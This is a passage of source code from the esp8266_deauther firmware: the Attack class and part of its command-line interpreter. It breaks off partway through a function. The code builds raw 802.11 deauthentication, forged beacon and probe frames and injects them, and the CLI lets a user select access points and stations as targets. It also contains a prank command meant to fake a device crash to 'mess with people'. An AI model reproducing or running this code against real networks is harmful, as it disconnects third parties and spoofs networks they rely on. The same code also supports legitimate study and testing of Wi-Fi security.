memcpy(&beaconPacket[38], ssid, ssidLen);\n\n    beaconPacket[82] = ch;\n\n    // =====\n    uint16_t tmpPacketSize = (packetSize - 32) + ssidLen;                // calc size\n    uint8_t* tmpPacket     = new uint8_t[tmpPacketSize];                 // create packet buffer\n\n    memcpy(&tmpPacket[0], &beaconPacket[0], 38 + ssidLen);               // copy first half of packet into buffer\n    tmpPacket[37] = ssidLen;                                             // update SSID length byte\n    memcpy(&tmpPacket[38 + ssidLen], &beaconPacket[70], wpa2 ? 39 : 13); // copy second half of packet into buffer\n\n    bool success = sendPacket(tmpPacket, tmpPacketSize, ch, false);\n\n    if (success) {\n        beacon.time = currentTime;\n        beacon.packetCounter++;\n    }\n\n    delete[] tmpPacket; // free memory of allocated buffer\n\n    return success;\n    // =====\n}\n\nbool Attack::sendProbe(uint8_t tc) {\n    if (settings::getAttackSettings().attack_all_ch) setWifiChannel(tc % 11, true);\n    mac[5] = tc;\n    return sendProbe(mac, ssids.getName(tc).c_str(), wifi_channel);\n}\n\nbool Attack::sendProbe(uint8_t* mac, const char* ssid, uint8_t ch) {\n    packetSize = sizeof(probePacket);\n    int ssidLen = strlen(ssid);\n\n    if (ssidLen > 32) ssidLen = 32;\n\n    memcpy(&probePacket[10], mac, 6);\n    memcpy(&probePacket[26], ssid, ssidLen);\n\n    if (sendPacket(probePacket, packetSize, ch, false)) {\n        probe.time = currentTime;\n        probe.packetCounter++;\n        return true;\n    }\n\n    return false;\n}\n\nbool Attack::sendPacket(uint8_t* packet, uint16_t packetSize, uint8_t ch, bool force_ch) {\n    // Serial.println(bytesToStr(packet, packetSize));\n\n    // set channel\n    setWifiChannel(ch, force_ch);\n\n    // sent out packet\n    bool sent = wifi_send_pkt_freedom(packet, packetSize, 0) == 0;\n\n    if (sent) ++tmpPacketRate;\n\n    return sent;\n}\n\nvoid Attack::enableOutput() {\n    output = true;\n    prntln(A_ENABLED_OUTPUT);\n}\n\nvoid Attack::disableOutput() {\n    output = false;\n    prntln(A_DISABLED_OUTPUT);\n}\n\nuint32_t Attack::getDeauthPkts() {\n    return deauthPkts;\n}\n\nuint32_t Attack::getBeaconPkts() {\n    return beaconPkts;\n}\n\nuint32_t Attack::getProbePkts() {\n    return probePkts;\n}\n\nuint32_t Attack::getDeauthMaxPkts() {\n    return deauth.maxPkts;\n}\n\nuint32_t Attack::getBeaconMaxPkts() {\n    return beacon.maxPkts;\n}\n\nuint32_t Attack::getProbeMaxPkts() {\n    return probe.maxPkts;\n}\n\nuint32_t Attack::getPacketRate() {\n    return packetRate;\n}"
  },
  {
    "path": "esp8266_deauther/Attack.h",
    "content": "/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */\n\n#pragma once\n\n#include \"Arduino.h\"\n#include <ESP8266WiFi.h>\nextern \"C\" {\n  #include \"user_interface.h\"\n}\n#include \"language.h\"\n#include \"Accesspoints.h\"\n#include \"Stations.h\"\n#include \"SSIDs.h\"\n#include \"Scan.h\"\n\nextern SSIDs ssids;\nextern Accesspoints accesspoints;\nextern Stations     stations;\nextern Scan scan;\n\nextern uint8_t  wifi_channel;\nextern uint8_t  broadcast[6];\nextern uint32_t currentTime;\n\nextern bool macBroadcast(uint8_t* mac);\nextern void getRandomMac(uint8_t* mac);\nextern void setOutputPower(float dBm);\nextern String macToStr(const uint8_t* mac);\nextern String bytesToStr(const uint8_t* b, uint32_t size);\nextern void setWifiChannel(uint8_t ch, bool force);\nextern bool writeFile(String path, String& buf);\nextern int8_t free80211_send(uint8_t* buffer, uint16_t len);\n\nclass Attack {\n    public:\n        Attack();\n\n        void start();\n        void start(bool beacon, bool deauth, bool deauthAll, bool probe, bool output, uint32_t timeout);\n        void stop();\n        void update();\n\n        void enableOutput();\n        void disableOutput();\n        void status();\n        String getStatusJSON();\n\n        bool deauthAP(int num);\n        bool deauthStation(int num);\n        bool deauthName(int num);\n        bool deauthDevice(uint8_t* apMac, uint8_t* stMac, uint8_t reason, uint8_t ch);\n\n        bool sendBeacon(uint8_t tc);\n        bool sendBeacon(uint8_t* mac, const char* ssid, uint8_t ch, bool wpa2);\n\n        bool sendProbe(uint8_t tc);\n        bool sendProbe(uint8_t* mac, const char* ssid, uint8_t ch);\n\n        bool sendPacket(uint8_t* packet, uint16_t packetSize, uint8_t ch, bool force_ch);\n\n        bool isRunning();\n\n        uint32_t getDeauthPkts();\n        uint32_t getBeaconPkts();\n        uint32_t getProbePkts();\n        uint32_t getDeauthMaxPkts();\n        uint32_t getBeaconMaxPkts();\n        uint32_t getProbeMaxPkts();\n\n        uint32_t getPacketRate();\n\n    private:\n        void deauthUpdate();\n        void deauthAllUpdate();\n        void beaconUpdate();\n        void probeUpdate();\n\n        void updateCounter();\n\n        bool running = false;\n        bool output  = true;\n\n        struct AttackType {\n            bool     active        = false; // if attack is activated\n            uint16_t packetCounter = 0;     // how many packets are sent per second\n            uint16_t maxPkts       = 0;     // how many packets should be sent per second\n            uint8_t  tc            = 0;     // target counter, i.e. which AP or SSID\n            uint32_t time          = 0;     // time last packet was sent\n        };\n\n        AttackType deauth;\n        AttackType beacon;\n        AttackType probe;\n        bool deauthAll = false;\n\n        uint32_t deauthPkts = 0;\n        uint32_t beaconPkts = 0;\n        uint32_t probePkts  = 0;\n\n        uint32_t tmpPacketRate = 0;\n        uint32_t packetRate    = 0;\n\n        uint8_t apCount = 0;\n        uint8_t stCount = 0;\n        uint8_t nCount  = 0;\n\n        int8_t tmpID = -1;\n\n        uint16_t packetSize      = 0;\n        uint32_t attackTime      = 0; // for counting how many packets per second\n        uint32_t attackStartTime = 0;\n        uint32_t timeout         = 0;\n\n        // random mac address for making the beacon packets\n        uint8_t mac[6] = { 0xAA, 0xBB, 0xCC, 0x00, 0x11, 0x22 };\n\n        uint8_t deauthPacket[26] = {\n            /*  0 - 1  */ 0xC0, 0x00,                         // type, subtype c0: deauth (a0: disassociate)\n            /*  2 - 3  */ 0x00, 0x00,                         // duration (SDK takes care of that)\n            /*  4 - 9  */ 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, // reciever (target)\n            /* 10 - 15 */ 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, // source (ap)\n            /* 16 - 21 */ 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, // BSSID (ap)\n            /* 22 - 23 */ 0x00, 0x00,                         // fragment & squence number\n            /* 24 - 25 */ 0x01, 0x00                          // reason code (1 = unspecified reason)\n        };\n\n        uint8_t probePacket[68] = {\n            /*  0 - 1  */ 0x40, 0x00,                                                                   // Type: Probe Request\n            /*  2 - 3  */ 0x00, 0x00,                                                                   // Duration: 0 microseconds\n            /*  4 - 9  */ 0xff, 0xff,               0xff,               0xff,               0xff, 0xff, // Destination: Broadcast\n            /* 10 - 15 */ 0xAA, 0xAA,               0xAA,               0xAA,               0xAA, 0xAA, // Source: random MAC\n            /* 16 - 21 */ 0xff, 0xff,               0xff,               0xff,               0xff, 0xff, // BSS Id: Broadcast\n            /* 22 - 23 */ 0x00, 0x00,                                                                   // Sequence number (will be replaced by the SDK)\n            /* 24 - 25 */ 0x00, 0x20,                                                                   // Tag: Set SSID length, Tag length: 32\n            /* 26 - 57 */ 0x20, 0x20,               0x20,               0x20,                           // SSID\n            0x20,               0x20,               0x20,               0x20,\n            0x20,               0x20,               0x20,               0x20,\n            0x20,               0x20,               0x20,               0x20,\n            0x20,               0x20,               0x20,               0x20,\n            0x20,               0x20,               0x20,               0x20,\n            0x20,               0x20,               0x20,               0x20,\n            0x20,               0x20,               0x20,               0x20,\n            /* 58 - 59 */ 0x01, 0x08, // Tag Number: Supported Rates (1), Tag length: 8\n            /* 60 */ 0x82,            // 1(B)\n            /* 61 */ 0x84,            // 2(B)\n            /* 62 */ 0x8b,            // 5.5(B)\n            /* 63 */ 0x96,            // 11(B)\n            /* 64 */ 0x24,            // 18\n            /* 65 */ 0x30,            // 24\n            /* 66 */ 0x48,            // 36\n            /* 67 */ 0x6c             // 54\n        };\n\n        uint8_t beaconPacket[109] = {\n            /*  0 - 3  */ 0x80,   0x00,                 0x00,                 0x00,                                                                         // Type/Subtype: managment beacon frame\n            /*  4 - 9  */ 0xFF,   0xFF,                 0xFF,                 0xFF,                 0xFF,                 0xFF,                             // Destination: broadcast\n            /* 10 - 15 */ 0x01,   0x02,                 0x03,                 0x04,                 0x05,                 0x06,                             // Source\n            /* 16 - 21 */ 0x01,   0x02,                 0x03,                 0x04,                 0x05,                 0x06,                             // Source\n\n            // Fixed parameters\n            /* 22 - 23 */ 0x00,   0x00,                                                                                                                     // Fragment & sequence number (will be done by the SDK)\n            /* 24 - 31 */ 0x83,   0x51,                 0xf7,                 0x8f,                 0x0f,                 0x00,                 0x00, 0x00, // Timestamp\n            /* 32 - 33 */ 0x64,   0x00,                                                                                                                     // Interval: 0x64, 0x00 => every 100ms - 0xe8, 0x03 => every 1s\n            /* 34 - 35 */ 0x31,   0x00,                                                                                                                     // capabilities Tnformation\n\n            // Tagged parameters\n\n            // SSID parameters\n            /* 36 - 37 */ 0x00,   0x20, // Tag: Set SSID length, Tag length: 32\n            /* 38 - 69 */ 0x20,   0x20,                 0x20,                 0x20,\n            0x20,                 0x20,                 0x20,                 0x20,\n            0x20,                 0x20,                 0x20,                 0x20,\n            0x20,                 0x20,                 0x20,                 0x20,\n            0x20,                 0x20,                 0x20,                 0x20,\n            0x20,                 0x20,                 0x20,                 0x20,\n            0x20,                 0x20,                 0x20,                 0x20,\n            0x20,                 0x20,                 0x20,                 0x20, // SSID\n\n            // Supported Rates\n            /* 70 - 71 */ 0x01,   0x08,                                             // Tag: Supported Rates, Tag length: 8\n            /* 72 */ 0x82,                                                          // 1(B)\n            /* 73 */ 0x84,                                                          // 2(B)\n            /* 74 */ 0x8b,                                                          // 5.5(B)\n            /* 75 */ 0x96,                                                          // 11(B)\n            /* 76 */ 0x24,                                                          // 18\n            /* 77 */ 0x30,                                                          // 24\n            /* 78 */ 0x48,                                                          // 36\n            /* 79 */ 0x6c,                                                          // 54\n\n            // Current Channel\n            /* 80 - 81 */ 0x03,   0x01,                                             // Channel set, length\n            /* 82 */ 0x01,                                                          // Current Channel\n\n            // RSN information\n            /*  83 -  84 */ 0x30, 0x18,\n            /*  85 -  86 */ 0x01, 0x00,\n            /*  87 -  90 */ 0x00, 0x0f,                 0xac,                 0x02,\n            /*  91 -  92 */ 0x02, 0x00,\n            /*  93 - 100 */ 0x00, 0x0f,                 0xac,                 0x04,                 0x00,                 0x0f,                 0xac, 0x04, /*Fix: changed 0x02(TKIP) to 0x04(CCMP) is default. WPA2 with TKIP not supported by many devices*/\n            /* 101 - 102 */ 0x01, 0x00,\n            /* 103 - 106 */ 0x00, 0x0f,                 0xac,                 0x02,\n            /* 107 - 108 */ 0x00, 0x00\n        };\n};"
  },
  {
    "path": "esp8266_deauther/CLI.cpp",
    "content": "/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */\n\n#include \"CLI.h\"\n\n#include <LittleFS.h>\n#include \"settings.h\"\n#include \"wifi.h\"\n\n/*\n   Shitty code used less resources so I will keep this clusterfuck as it is,\n   but if you're interested I made a library for this: github.com/spacehuhn/SimpleCLI\n */\n\nCLI::CLI() {\n    list  = new SimpleList<String>;\n    queue = new SimpleList<String>;\n}\n\nCLI::~CLI() {}\n\nvoid CLI::load() {\n    String defaultValue = str(CLI_DEFAULT_AUTOSTART);\n\n    checkFile(execPath, defaultValue);\n    execFile(execPath);\n}\n\nvoid CLI::load(String filepath) {\n    execPath = filepath;\n    load();\n}\n\nvoid CLI::enable() {\n    enabled = true;\n    prntln(CLI_SERIAL_ENABLED);\n}\n\nvoid CLI::disable() {\n    enabled = true;\n    prntln(CLI_SERIAL_DISABLED);\n}\n\nvoid CLI::update() {\n    // when serial available, read input\n    if (Serial.available() > 0) {\n        String input = Serial.readStringUntil('\\n');\n        exec(input);\n    }\n\n    // when queue is not empty, delay is off and no scan is active, run it\n    else if ((queue->size() > 0) && !delayed && !scan.isScanning() && !attack.isRunning()) {\n        String s = queue->shift();\n        exec(s);\n    }\n}\n\nvoid CLI::stop() {\n    queue->clear();\n    prntln(CLI_STOPPED_SCRIPT);\n}\n\nvoid CLI::enableDelay(uint32_t delayTime) {\n    delayed         = true;\n    this->delayTime = delayTime;\n    delayStartTime  = millis();\n}\n\nvoid CLI::exec(String input) {\n    // quick exit when input is empty\n    if (input.length() == 0) return;\n\n    // check delay\n    if (delayed && (millis() - delayStartTime > delayTime)) {\n        delayed = false;\n        prntln(CLI_RESUMED);\n    }\n\n    // when delay is on, add it to queue, else run it\n    if (delayed) {\n        queue->add(input);\n    } else {\n        runLine(input);\n    }\n}\n\nvoid CLI::execFile(String path) {\n    String input;\n\n    if (readFile(path, input)) {\n        String tmpLine;\n        char   tmpChar;\n\n        input += '\\n';\n\n        while (!queue->isEmpty()) {\n            input += queue->shift();\n            input += '\\n';\n        }\n\n        for (int i = 0; i < input.length(); i++) {\n            tmpChar = input.charAt(i);\n\n            if (tmpChar == '\\n') {\n                queue->add(tmpLine);\n                tmpLine = String();\n            } else {\n                tmpLine += tmpChar;\n            }\n        }\n\n        queue->add(tmpLine);\n    }\n}\n\nvoid CLI::error(String message) {\n    prnt(CLI_ERROR);\n    prntln(message);\n}\n\nvoid CLI::parameterError(String parameter) {\n    prnt(CLI_ERROR_PARAMETER);\n    prnt(parameter);\n    prntln(DOUBLEQUOTES);\n}\n\nbool CLI::isInt(String str) {\n    if (eqls(str, STR_TRUE) || eqls(str, STR_FALSE)) return true;\n\n    for (uint32_t i = 0; i < str.length(); i++)\n        if (!isDigit(str.charAt(i))) return false;\n\n    return true;\n}\n\nint CLI::toInt(String str) {\n    if (eqls(str, STR_TRUE)) return 1;\n    else if (eqls(str, STR_FALSE)) return 0;\n    else return str.toInt();\n}\n\nuint32_t CLI::getTime(String time) {\n    int value = time.toInt();\n\n    if (value < 0) value = -value;\n\n    if (time.substring(time.length() - 1).equalsIgnoreCase(String(S))) value *= 1000;\n    else if (time.substring(time.length() - 3).equalsIgnoreCase(str(STR_MIN)) ||\n             (time.charAt(time.length() - 1) == M)) value *= 60000;\n    return value;\n}\n\nbool CLI::eqlsCMD(int i, const char* keyword) {\n    return eqls(list->get(i).c_str(), keyword);\n}\n\nvoid CLI::runLine(String input) {\n    String tmp;\n\n    for (int i = 0; i < input.length(); i++) {\n        // when 2 semicolons in a row without a backslash escaping the first\n        if ((input.charAt(i) == SEMICOLON) && (input.charAt(i + 1) == SEMICOLON) &&\n            (input.charAt(i - 1) != BACKSLASH)) {\n            runCommand(tmp);\n            tmp = String();\n            i++;\n        } else {\n            tmp += input.charAt(i);\n        }\n    }\n\n    tmp.replace(BACKSLASH + SEMICOLON + SEMICOLON, SEMICOLON + SEMICOLON);\n\n    if (tmp.length() > 0) runCommand(tmp);\n}\n\nvoid CLI::runCommand(String input) {\n    input.replace(String(NEWLINE), String());\n    input.replace(String(CARRIAGERETURN), String());\n\n    list->clear();\n\n    // parse/split input in list\n    String tmp;\n    bool   withinQuotes = false;\n    bool   escaped      = false;\n    char   c;\n\n    for (uint32_t i = 0; i < input.length() && i < 512; i++) {\n        c = input.charAt(i);\n\n        // when char is an unescaped\n        if (!escaped && (c == BACKSLASH)) {\n            escaped = true;\n        }\n\n        // (when char is a unescaped space AND it's not within quotes) OR char is \\r or \\n\n        else if (((c == SPACE) && !escaped && !withinQuotes) || (c == CARRIAGERETURN) || (c == NEWLINE)) {\n            // when tmp string isn't empty, add it to the list\n            if (tmp.length() > 0) {\n                list->add(tmp);\n                tmp = String(); // reset tmp string\n            }\n        }\n\n        // when char is an unescaped \"\n        else if ((c == DOUBLEQUOTES) && !escaped) {\n            // update wheter or not the following chars are within quotes or not\n            withinQuotes = !withinQuotes;\n\n            if ((tmp.length() == 0) && !withinQuotes) tmp += SPACE;  // when exiting quotes and tmp string is empty, add\n                                                                     // a space\n        }\n\n        // add character to tmp string\n        else {\n            tmp    += c;\n            escaped = false;\n        }\n    }\n\n    // add string if something is left from the loop above\n    if (tmp.length() > 0) list->add(tmp);\n\n    // stop when input is empty/invalid\n    if (list->size() == 0) return;\n\n    // print comments\n    if (list->get(0) == str(CLI_COMMENT)) {\n        prntln(input);\n        return;\n    }\n\n    if (settings::getCLISettings().serial_echo) {\n        // print command\n        prnt(CLI_INPUT_PREFIX);\n        prntln(input);\n    }\n\n    if (list->size() == 0) return;\n\n    // ===== HELP ===== //\n    if (eqlsCMD(0, CLI_HELP)) {\n        prntln(CLI_HELP_HEADER);\n\n        prntln(CLI_HELP_HELP);\n        prntln(CLI_HELP_SCAN);\n        prntln(CLI_HELP_SHOW);\n        prntln(CLI_HELP_SELECT);\n        prntln(CLI_HELP_DESELECT);\n        prntln(CLI_HELP_SSID_A);\n        prntln(CLI_HELP_SSID_B);\n        prntln(CLI_HELP_SSID_C);\n        prntln(CLI_HELP_NAME_A);\n        prntln(CLI_HELP_NAME_B);\n        prntln(CLI_HELP_NAME_C);\n        prntln(CLI_HELP_SET_NAME);\n        prntln(CLI_HELP_ENABLE_RANDOM);\n        prntln(CLI_HELP_DISABLE_RANDOM);\n        prntln(CLI_HELP_LOAD);\n        prntln(CLI_HELP_SAVE);\n        prntln(CLI_HELP_REMOVE_A);\n        prntln(CLI_HELP_REMOVE_B);\n        prntln(CLI_HELP_ATTACK);\n        prntln(CLI_HELP_ATTACK_STATUS);\n        prntln(CLI_HELP_STOP);\n        prntln(CLI_HELP_SYSINFO);\n        prntln(CLI_HELP_CLEAR);\n        prntln(CLI_HELP_FORMAT);\n        prntln(CLI_HELP_PRINT);\n        prntln(CLI_HELP_DELETE);\n        prntln(CLI_HELP_REPLACE);\n        prntln(CLI_HELP_COPY);\n        prntln(CLI_HELP_RENAME);\n        prntln(CLI_HELP_RUN);\n        prntln(CLI_HELP_WRITE);\n        prntln(CLI_HELP_GET);\n        prntln(CLI_HELP_SET);\n        prntln(CLI_HELP_RESET);\n        prntln(CLI_HELP_CHICKEN);\n        prntln(CLI_HELP_REBOOT);\n        prntln(CLI_HELP_INFO);\n        prntln(CLI_HELP_COMMENT);\n        prntln(CLI_HELP_SEND_DEAUTH);\n        prntln(CLI_HELP_SEND_BEACON);\n        prntln(CLI_HELP_SEND_PROBE);\n        prntln(CLI_HELP_LED_A);\n        prntln(CLI_HELP_LED_B);\n        prntln(CLI_HELP_DRAW);\n        prntln(CLI_HELP_SCREEN_ON);\n        prntln(CLI_HELP_SCREEN_MODE);\n\n        prntln(CLI_HELP_FOOTER);\n    }\n\n    // ===== SCAN ===== //\n    // scan [<mode>] [-t <time>] [-c <continue-time>] [-ch <channel>]\n    else if (eqlsCMD(0, CLI_SCAN)) {\n        uint8_t  scanMode     = SCAN_MODE_ALL;\n        uint8_t  nextmode     = SCAN_MODE_OFF;\n        uint8_t  channel      = wifi_channel;\n        bool     channelHop   = true;\n        uint32_t time         = 15000;\n        uint32_t continueTime = 10000;\n\n        for (int i = 1; i < list->size(); i++) {\n            if (eqlsCMD(i, CLI_AP)) scanMode = SCAN_MODE_APS;\n            else if (eqlsCMD(i, CLI_STATION)) scanMode = SCAN_MODE_STATIONS;\n            else if (eqlsCMD(i, CLI_ALL)) scanMode = SCAN_MODE_ALL;\n            else if (eqlsCMD(i, CLI_WIFI)) scanMode = SCAN_MODE_SNIFFER;\n            else if (eqlsCMD(i, CLI_TIME)) {\n                i++;\n                time = getTime(list->get(i));\n            } else if (eqlsCMD(i, CLI_CONTINUE)) {\n                i++;\n                nextmode     = scanMode;\n                continueTime = getTime(list->get(i));\n            } else if (eqlsCMD(i, CLI_CHANNEL)) {\n                i++;\n\n                if (!eqlsCMD(i, CLI_ALL)) {\n                    channelHop = false;\n                    channel    = list->get(i).toInt();\n                }\n            } else {\n                parameterError(list->get(i));\n            }\n        }\n\n        scan.start(scanMode, time, nextmode, continueTime, channelHop, channel);\n    }\n\n    // ===== SHOW ===== //\n    else if (eqlsCMD(0, CLI_SHOW)) {\n        // show selected [<all/aps/stations/names/ssids>]\n        if (eqlsCMD(1, CLI_SELECT)) {\n            if (list->size() > 2) {\n                for (int i = 2; i < list->size(); i++) {\n                    if (eqlsCMD(i, CLI_AP)) accesspoints.printSelected();\n                    else if (eqlsCMD(i, CLI_STATION)) stations.printSelected();\n                    else if (eqlsCMD(i, CLI_NAME)) names.printSelected();\n                    else if (eqlsCMD(i, CLI_ALL)) scan.printSelected();\n                    else parameterError(list->get(i));\n                }\n            } else {\n                scan.printSelected();\n            }\n        }\n\n        // show [<all/aps/stations/names/ssids>]\n        else {\n            if (list->size() > 1) {\n                for (int i = 1; i < list->size(); i++) {\n                    if (eqlsCMD(i, CLI_AP)) accesspoints.printAll();\n                    else if (eqlsCMD(i, CLI_STATION)) stations.printAll();\n                    else if (eqlsCMD(i, CLI_NAME)) names.printAll();\n                    else if (eqlsCMD(i, CLI_SSID)) ssids.printAll();\n                    else if (eqlsCMD(i, CLI_ALL)) scan.printAll();\n                    else parameterError(list->get(i));\n                }\n            } else {\n                scan.printAll();\n            }\n        }\n    }\n\n    // ===== (DE)SELECT ===== //\n    // select [<type>] [<id>]\n    // deselect [<type>] [<id>]\n    else if (eqlsCMD(0, CLI_SELECT) || eqlsCMD(0, CLI_DESELECT)) {\n        bool select = eqlsCMD(0, CLI_SELECT);\n        int  mode   = 0;  // aps = 0, stations = 1, names = 2\n        int  id     = -1; // -1 = all, -2 name string\n\n        if ((list->size() == 1) || eqlsCMD(1, CLI_ALL)) {\n            select ? scan.selectAll() : scan.deselectAll();\n            return;\n        }\n\n        if ((list->size() == 2) || eqlsCMD(2, CLI_ALL)) id = -1;\n        else if (!isInt(list->get(2))) id = -2;\n        else id = list->get(2).toInt();\n\n        if (eqlsCMD(1, CLI_AP)) mode = 0;\n        else if (eqlsCMD(1, CLI_STATION)) mode = 1;\n        else if (eqlsCMD(1, CLI_NAME)) mode = 2;\n        else parameterError(list->get(1));\n\n        if (id >= 0) {\n            if (mode == 0) select ? accesspoints.select(id) : accesspoints.deselect(id);\n            else if (mode == 1) select ? stations.select(id) : stations.deselect(id);\n            else if (mode == 2) select ? names.select(id) : names.deselect(id);\n        } else if (id == -1) {\n            if (mode == 0) select ? accesspoints.selectAll() : accesspoints.deselectAll();\n            else if (mode == 1) select ? stations.selectAll() : stations.deselectAll();\n            else if (mode == 2) select ? names.selectAll() : names.deselectAll();\n        } else if ((id == -2)) {\n            String name = list->get(2);\n            if (mode == 0) select ? accesspoints.select(name) : accesspoints.deselect(name);\n            else if (mode == 1) select ? stations.select(name) : stations.deselect(name);\n            else if (mode == 2) select ? names.select(name) : names.deselect(name);\n        } else {\n            parameterError(list->get(1) + SPACE + list->get(2));\n        }\n    }\n\n    // ===== ADD ===== //\n    else if ((list->size() >= 3) && eqlsCMD(0, CLI_ADD) && eqlsCMD(1, CLI_SSID)) {\n        // add ssid -s [-f]\n        if (eqlsCMD(2, CLI_SELECT)) {\n            bool force = eqlsCMD(3, CLI_FORCE);\n            ssids.cloneSelected(force);\n        }\n\n        // add ssid <ssid> [-wpa2] [-cl <clones>] [-f]\n        // add ssid -ap <id> [-cl <clones>] [-f]\n        else {\n            String ssid   = list->get(2);\n            bool   wpa2   = false;\n            bool   force  = false;\n            int    clones = 1;\n            int    i      = 3;\n\n            if (eqlsCMD(2, CLI_AP)) {\n                ssid = accesspoints.getSSID(list->get(3).toInt());\n                wpa2 = accesspoints.getEncStr(list->get(3).toInt()) != \" - \";\n                i    = 4;\n            }\n\n            while (i < list->size()) {\n                if (eqlsCMD(i, CLI_WPA2)) wpa2 = true;\n                else if (eqlsCMD(i, CLI_FORCE)) force = true;\n                else if (eqlsCMD(i, CLI_CLONES)) {\n                    clones = list->get(i + 1).toInt();\n                    i++;\n                } else parameterError(list->get(i));\n                i++;\n            }\n\n            ssids.add(ssid, wpa2, clones, force);\n        }\n    }\n\n    // add name <name> [-ap <id>] [-s] [-f]\n    // add name <name> [-st <id>] [-s] [-f]\n    // add name <name> [-m <mac>] [-ch <channel>] [-b <bssid>] [-s] [-f]\n    else if ((list->size() >= 3) && eqlsCMD(0, CLI_ADD) && eqlsCMD(1, CLI_NAME)) {\n        String  name = list->get(2);\n        String  mac;\n        uint8_t channel = wifi_channel;\n        String  bssid;\n        bool    selected = false;\n        bool    force    = false;\n\n        for (int i = 3; i < list->size(); i++) {\n            if (eqlsCMD(i, CLI_MAC)) mac = list->get(i + 1);\n            else if (eqlsCMD(i, CLI_AP)) mac = accesspoints.getMacStr(list->get(i + 1).toInt());\n            else if (eqlsCMD(i, CLI_STATION)) {\n                mac   = stations.getMacStr(list->get(i + 1).toInt());\n                bssid = stations.getAPMacStr(list->get(i + 1).toInt());\n            }\n            else if (eqlsCMD(i, CLI_CHANNEL)) channel = (uint8_t)list->get(i + 1).toInt();\n            else if (eqlsCMD(i, CLI_BSSID)) bssid = list->get(i + 1);\n            else if (eqlsCMD(i, CLI_SELECT)) {\n                selected = true;\n                i--;\n            } else if (eqlsCMD(i, CLI_FORCE)) {\n                force = true;\n                i--;\n            } else {\n                parameterError(list->get(i));\n                i--;\n            }\n            i++;\n        }\n\n        if (name.length() == 0) prntln(CLI_ERROR_NAME_LEN);\n        else if (mac.length() == 0) prntln(CLI_ERROR_MAC_LEN);\n        else names.add(mac, name, bssid, channel, selected, force);\n    }\n\n    // ===== SET NAME ==== //\n    // set name <id> <newname>\n    else if ((list->size() == 4) && eqlsCMD(0, CLI_SET) && eqlsCMD(1, CLI_NAME)) {\n        names.setName(list->get(2).toInt(), list->get(3));\n    }\n\n    // ===== REPLACE ===== //\n    // replace name <id> [-n <name>} [-m <mac>] [-ch <channel>] [-b <bssid>] [-s]\n    else if ((list->size() >= 4) && eqlsCMD(0, CLI_REPLACE) && eqlsCMD(1, CLI_NAME)) {\n        int id           = list->get(2).toInt();\n        String  name     = names.getName(id);\n        String  mac      = names.getMacStr(id);\n        uint8_t channel  = names.getCh(id);\n        String  bssid    = names.getBssidStr(id);\n        bool    selected = names.getSelected(id);\n\n        for (int i = 3; i < list->size(); i++) {\n            if (eqlsCMD(i, CLI_NAME)) name = list->get(i + 1);\n            else if (eqlsCMD(i, CLI_MAC)) mac = list->get(i + 1);\n            else if (eqlsCMD(i, CLI_CHANNEL)) channel = (uint8_t)list->get(i + 1).toInt();\n            else if (eqlsCMD(i, CLI_BSSID)) bssid = list->get(i + 1);\n            else if (eqlsCMD(i, CLI_SELECT)) {\n                selected = true;\n                i--;\n            } else {\n                parameterError(list->get(i));\n                i--;\n            }\n            i++;\n        }\n\n        names.replace(id, mac, name, bssid, channel, selected);\n    }\n\n    // replace ssid <id> [-n <name>} [-wpa2]\n    else if ((list->size() >= 3) && eqlsCMD(0, CLI_REPLACE) && eqlsCMD(1, CLI_SSID)) {\n        int id      = list->get(2).toInt();\n        String name = ssids.getName(id);\n        bool   wpa2 = false;\n\n        for (int i = 3; i < list->size(); i++) {\n            if (eqlsCMD(i, CLI_NAME)) {\n                name = list->get(i + 1);\n                i++;\n            } else if (eqlsCMD(i, CLI_WPA2)) {\n                wpa2 = true;\n            }\n        }\n\n        ssids.replace(id, name, wpa2);\n    }\n\n    // ===== REMOVE ===== //\n    // remove <type> [-a]\n    // remove <type> <id>\n    else if ((list->size() >= 2) && eqlsCMD(0, CLI_REMOVE)) {\n        if ((list->size() == 2) || (eqlsCMD(2, CLI_ALL))) {\n            if (eqlsCMD(1, CLI_SSID)) ssids.removeAll();\n            else if (eqlsCMD(1, CLI_NAME)) names.removeAll();\n            else if (eqlsCMD(1, CLI_AP)) accesspoints.removeAll();\n            else if (eqlsCMD(1, CLI_STATION)) stations.removeAll();\n            else parameterError(list->get(1));\n        } else {\n            if (eqlsCMD(1, CLI_SSID)) ssids.remove(list->get(2).toInt());\n            else if (eqlsCMD(1, CLI_NAME)) names.remove(list->get(2).toInt());\n            else if (eqlsCMD(1, CLI_AP)) accesspoints.remove(list->get(2).toInt());\n            else if (eqlsCMD(1, CLI_STATION)) stations.remove(list->get(2).toInt());\n            else parameterError(list->get(1));\n        }\n    }\n\n    // ===== RANDOM ===== //\n    // enable random <interval>\n    else if (eqlsCMD(0, CLI_ENABLE) && eqlsCMD(1, CLI_RANDOM) && (list->size() == 3)) {\n        ssids.enableRandom(getTime(list->get(2)));\n    }\n\n    // disable random\n    else if (eqlsCMD(0, CLI_DISABLE) && eqlsCMD(1, CLI_RANDOM)) {\n        ssids.disableRandom();\n    }\n\n    // ====== RICE ===== //\n    // => have you tried putting it into a bowl rice?\n    // funny command to mess with people, please don't share the info thanks <3\n    else if (eqlsCMD(0, CLI_RICE)) {\n        prntln(CLI_RICE_START);\n        uint32_t i     = 0;\n        uint8_t  multi = 1;\n        uint8_t  end   = random(80, 99);\n\n        if (list->get(1).toInt() > 1) multi = list->get(1).toInt();\n\n        while (true) {\n            if ((i % 10 == 0) && (i > 0)) {\n                char s[100];\n                sprintf(s, str(CLI_RICE_OUTPUT).c_str(), i / 10);\n                prnt(String(s));\n\n                if ((i / 10) == end) {\n                    prnt(CLI_RICE_ERROR);\n                    prnt(String(random(16, 255), HEX));\n                    prnt(String(random(16, 255), HEX));\n                    prnt(String(random(16, 255), HEX));\n                    prntln(String(random(16, 255), HEX));\n\n                    for (int i = 1; i <= 32; i++) {\n                        for (int i = 0; i < 2; i++) {\n                            for (int i = 1; i <= 8; i++) {\n                                prnt(String(random(16, 255), HEX));\n                                prnt(SPACE);\n                            }\n                            prnt(SPACE);\n                        }\n                        prntln();\n                    }\n                    ESP.reset();\n                } else if ((i / 10) % 10 == 0) {\n                    prnt(CLI_RICE_MEM);\n                    prnt(String(random(16, 255), HEX));\n                    prnt(String(random(16, 255), HEX));\n                    prnt(String(random(16, 255), HEX));\n                    